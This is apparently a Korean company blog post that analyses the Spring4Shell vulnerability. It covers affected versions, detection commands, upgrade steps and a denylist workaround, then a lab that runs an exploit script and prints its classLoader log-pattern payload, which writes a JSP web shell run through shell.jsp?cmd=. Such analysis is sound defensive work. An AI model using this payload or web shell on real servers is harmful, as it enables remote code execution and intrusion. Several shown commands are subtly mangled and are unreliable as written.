메뉴 닫기

Apache Sping4Shell 취약점 분석

안녕하세요. CloudV사업부 김현구 입니다.

2022년 3월에 발생한 Apache Sping4Shell 취약점에 대해 분석하고 알아보고자 합니다

 


 

0.취약점명

  • Spring4Shell 취약점
    • CVE-2022-22963, CVE-2022-22965

 


 

1.개요

  • 2022년 03월 30일 KnownSec 404 보안팀의 Heige 연구원이 PoC 실행 화면을 공개 하였습니다.
  • 원격 코드 실행(RCE)으로 이어지는 두 가지 심각한 취약점인 Spring 프레임워크에서 나타났습니다.
    • Spring Core, Spring Cloud Functions에서 발견되었습니다.

 

Spring Core의 바인딩 프로세스 bindRequestParameter 캐시의 객체 속성을 가져오기 위해 getCachedIntrospectionResults 메서드가 파라미터를 바인딩 할 때 바람직하지 않게 클래스 외부에 노출함으로써 발생되는 취약점입니다.

 


 

2.영향을 받는 버전

해당 취약점을 발생시키기 위한 두 가지 충족 조건

CVE-2022-22965 (Spring4Shell)  // CVSS v3  : 9.8 / 10.0

  • JDK9 이상 사용
  • Spring MVC FrameWork, Spring WebFlux, TomCat (3중 택1)
    • Spring Framework 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전

 

CVE-2022-22963. // CVSS v3  : 9.8 / 10.0

  • JDK9 이상 사용
  • Spring Cloud Function 3.1.6 ~ 3.2.2 버전

 

 


 

3.취약점 조회 방법

 

3-1. JDK 버전 확인

JDK 8 버전 이하인 경우 취약점의 영향을 받지 않습니다.

1
java version
cs

 

JDK 9 버전 이상일 경우 본문 아래 2번을 따라하여 주시길 바랍니다.

 

3-2. Spring 프레임워크 사용 확인

1
2
3
find. name springbeans*.jar 
find. name spring*.jar 
find. name CachedIntrospectionResuLts.class
cs

해당 명령어를 차례대로 입력하여 파일이 존재한다면 Spring 프레임워크를 사용하여 시스템을 개발하였으므로 취약한 서버 입니다.

 


 

4.해결 방법

 

응용 프로그램에서 Maven the Spring Framework 버전을 업그레이드 합니다.

Spring Framework 5.3.18 및 5.2.20 버전의 경우 취약점 패치가 되어있습니다.

1
2
3
<properties>
    <springframework.version>5.3.18</springframework.version>
</properties>
cs

Gradle 업그레이드

1
ext[‘spring-framework.version’= ‘5.3.18’</code>
cs

 

현재 업데이트를 통한 패치가 불가능 할 경우

1
2
3
4
5
6
7
8
9
10
11
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
 
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
         String[] denylist = new String[]{“class.*”“Class.*”“*.class.*”“*.Class.*”};
         dataBinder.setDisallowedFields(denylist);
    }
 
}
cs

@ControllerAdvision을 통해 WebDataBinder에서 허용되지 않는 필드를 설정하는 것을 권장합니다.

 


 

5. 취약점 원인 분석

 

[사진2] getCachedDesciptorCache 메소드 내 class 속성확인

 

  • 애플리케이션 요청 매개변수를 POJO에 바인딩하기 위해  “getCachedIntrospectionResults” 라는 메소드를 호출한 후 캐시의 Object 속성을 가져옵니다. 
    • POJO는 @RequestBody annotation이 적용되어 있지 않아야 합니다.

 

[사진3] 문제의 코드 수정 // 출처 : Github

Spring 개발자에 의해 Mar 31, 2022 날짜로 문제가 발생한 ‘CachedIntrospectionResults.java’ 코드 패치가 되었습니다. 

 


 

6. 취약점 상세 분석(실습)

환경 구성
– Spring4Shell 취약 서버 : Ubuntu 22.04, Docker – 실습자료 (Apache Tomcat/9.0.59, Spring Framework 5.3.0, JDK9
   – 취약한 서버 IP : 115.0.0.172
– Exploit 서버 :  Ubuntu 22.04, exploit.py
   – Exploit IP : 115.0.0.84

6-1. 터미널 실행

1. Spring4Shell 취약 서버를 구성하고자 합니다. 
    – 아래 명령어를 입력하게 되면 컨테이너에 이미지 다운로드, 환경 구성, 실행 하게됩니다.
    – Docker 설치가 완료된 상황이여야만 실행 가능합니다

[사진4] Docker Spring4Shell 취약 서버 환경구성

1
docker build . t spring4shell && docker run 8080:8080 spring4shell
cs

해당 명령어를 입력하여 패키지 다운로드&빌드 그리고 도커를 실행합니다

 

6-2. 웹페이지 정상 접속 확인

[사진5] Spring4Shell 취약 서버 웹페이지

도커 컨테이너가 정상적으로 실행이 되었다면 http://도메인주소:8080/helloworld/greeting

입력하여 웹페이지가 잘 접속되는지 확인합니다.

 

6-3. 익스플로잇 실행

[사진6] Exploit 서버에서 취약점 서버 코드 인잭션 공격

1
python3 exploit.py url “http://도메인 주소:8080/helloworld/greeting
cs

IP 115.0.0.84 서버에서 exploit.py  다운로드 후 취약점 서버인 python3 exploit.py url “http://115.0.0.172:8080/helloworld/greeting 명령어를 입력합니다.

exploit을 실행하면 코드 인잭션이 실행되게 됩니다.

 

6-4. 취약점 서버 공격 확인

[사진7] Spring4Shell 취약 서버 취약점

1
http://도메인 주소:8080/shell.jsp?cmd=id
cs

이후 도메인 주소 창에 shell.jsp?cmd=명령어 입력시 해당 사진과 같이 결과가 출력됩니다.

 


 

7.Exproit 분석

1
2
3
4
5
6
7
8
9
10
11
def run_exploit(url, directory, filename):
    log_pattern = “class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20” \
                  f“java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter” \
                  f“(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B” \
                  f“%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di”
 
    log_file_suffix = “class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp”
    log_file_dir = f“class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}”
    log_file_prefix = f“class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}”
    log_file_date_format = “class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=”
 
cs

Source Code : exploit.py  

Spring4Shell 익스플로잇은 공격자(해커)가 Query 파라미터를 통해 클래스 속성과 같은 Java 클래스의 위험한 속성에 악의적인 값을 주입할 수 있도록 하는 Spring의 취약점을 이용합니다

아래와 같은 공격자는 다음과 같은 요청을 할 수 있습니다

1
2
curl ‘<http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test>’
 
cs

로그 패턴을 로 설정합니다. 

 

다음과 같이 속성을 조작하여 악성 JSP 파일을 생성할 수 있습니다.

  • class.module.classLoader.resources.context.parent.pipeline.first.pattern

    • 코드 실행을 수행하는 데 사용할 수 있는 로깅 형식 패턴으로 설정합니다.(실제 페이로드가 있는 위치)

  • class.module.classLoader.resources.context.parent.pipeline.first.suffix.jsp

    • .jsp로 설정할 수 있는 로그 파일 확장자를 Java 기반 코드로 포함하도록 설정합니다.

  • class.module.classLoader.resources.context.parent.pipeline.first.directory

    • 악의적인 JSP 파일이 상주할 디렉토리를 설정합니다.

  • class.module.classLoader.resources.context.parent.pipeline.first.prefixshell

    • 생성할 파일의 이름을 설정하고, 해당 익스플로잇을  shell로 설정합니다.

  • class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat

    • 로그에 대한 날짜 형식이 설정되며, 이 형식은 비워 둡니다.

       

       

       

 


Reference

Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x